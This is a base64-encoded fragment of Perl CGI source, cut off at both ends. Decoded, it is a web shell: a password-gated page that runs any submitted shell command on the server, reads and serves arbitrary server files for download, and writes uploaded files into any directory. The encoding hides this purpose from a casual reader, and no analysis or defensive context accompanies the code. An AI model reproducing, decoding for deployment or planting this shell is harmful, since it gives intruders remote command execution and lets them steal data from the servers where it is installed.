vbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJCSZQcmludExvZ2luU2NyZWVuOw0KCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRlcmVkDQoJCXsNCgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsNCg0KCQl9DQoJCSZQcmludExvZ2luRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQoNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPg0KT3ZlcndyaXRlIGlmIGl0IEV4aXN0czxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvDQojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMNCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCQlwcmludCA8PEVORDsNCjwveG1wPg0KDQo8Y29kZT4NCkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS4NCjxicj5LaWxsZWQgaXQhDQpFTkQNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCQ0KCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJE9sZERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRPbGREaXJdXCQgIjsNCgkJcHJpbnQgIiRQcm9tcHQgJFJ1bkNvbW1hbmQiOw0KCX0NCgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJCXByaW50ICIkUHJvbXB0ICRSdW5Db21tYW5kPHhtcD4iOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJCWlmKCEkV2luTlQpDQoJCXsNCgkJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJCX0NCgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCQl7DQoJCQkkfD0xOw0KCQkJJENvbW1hbmQgLj0gIiB8IjsNCgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQkJew0KCQkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJCXByaW50ICIkX1xuIjsNCgkJCX0NCgkJCSR8PTA7DQoJCX0NCgkJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJCXsNCgkJCXByaW50IGAkQ29tbWFuZGA7DQoJCX0NCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJYWxhcm0oMCk7DQoJCX0NCgkJcHJpbnQgIjwveG1wPiI7DQoJfQ0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoDQojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlDQp7DQoJbG9jYWwoJEZpbGVVcmwpID0gQF87DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPi4NCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlwcmludCAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQ0KIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9kZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xvc2UoU0VOREZJTEUpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlwcmludCAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOw0KCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KDQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UNCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLA0KIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVVcGxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlyZXR1cm47DQoJfQ0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCg0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJcHJpbnQgIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQlwcmludCAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJcHJpbnQgIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCglwcmludCAiIjsNCgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQoNCiRBY3Rpb24gPSAkaW57J2EnfTsNCiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJGlueydkJ307DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAjIHVzZXIgd2Fud